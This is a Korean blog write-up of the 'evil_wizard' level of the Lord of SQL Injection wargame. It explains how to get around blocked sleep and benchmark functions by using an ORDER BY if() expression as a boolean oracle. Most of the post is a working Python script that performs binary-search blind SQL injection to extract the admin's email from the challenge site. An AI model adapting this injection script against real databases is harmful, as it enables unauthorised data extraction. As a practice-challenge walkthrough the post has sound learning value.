Osori Development Studio

[los] evil_wizard 본문

전공쪽/Lord of Sql injection

[los] evil_wizard

OSOR2 2020. 12. 15. 02:22

hell fire와 다른점은 sleep 함수도 막혔다는 점이다.. benchmark 함수도 막혀있기 때문에 어떻게 해야 고민을 좀 해보았다. 

if 문 반환값과 order by를 이용한 방법도 이용이 가능하다..! 

일단 email 길이는 30이다. 

이 방법에 따르면 if 조건이 참이면 admin이 rubiya보다 먼저 나와야한다. 이를 파이썬의 find함수로 구분해줄 것이다. 

find함수는 문자열에서 해당 문자열의 위치를 반환한다. 이것도 이진탐색을 해주었다. 비밀번호가 꽤 길어서... 그냥 돌리는 것보다 3배이상 빠른 것 같다. 

 

클리어! 상당히 재미있는 방법이였다. 

#!/usr/bin/python
#-*-coding:utf-8  -*-
import urllib,urllib2,requests
import time
header={"Cookie":"PHPSESSID=5b4v****8tab335qko"}
password=''
whole_time=0
for i in range(1,31) : 
	max=0xff
	min=0
	while True : 
		k=int((max+min)/2)
		url="https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order=if(id=%27admin%27%20and%20ascii(substr(email,"
		url+=str(i)+",1))<"+str(k)+",%27id%27,%27id%20DESC%27)"
		request=requests.get(url,headers=header)
		admin=request.text.find("admin")
		rubiya=request.text.find("rubiya")
		#print(str(admin)+','+str(rubiya))
		if admin<rubiya :
			max=k
		else :
			min=k
		url="https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order=if(id=%27admin%27%20and%20ascii(substr(email,"
		url+=str(i)+",1))="+str(k)+",%27id%27,%27id%20DESC%27)"
		request=requests.get(url,headers=header)
		admin=request.text.find("admin")
		rubiya=request.text.find("rubiya")
		if admin<rubiya :
			password+=chr(k)
			print('[+]'+password)
			break
	if len(password)!=i :
		print('ERROR')
		print(i)
print(password)


'전공쪽 > Lord of Sql injection' 카테고리의 다른 글

[los] red dragon  (0) 2020.12.15
[los] green dragon  (0) 2020.12.15
[los]hell fire  (0) 2020.12.15
[los]dark eyes  (0) 2020.12.15
[los]iron golem  (0) 2020.12.14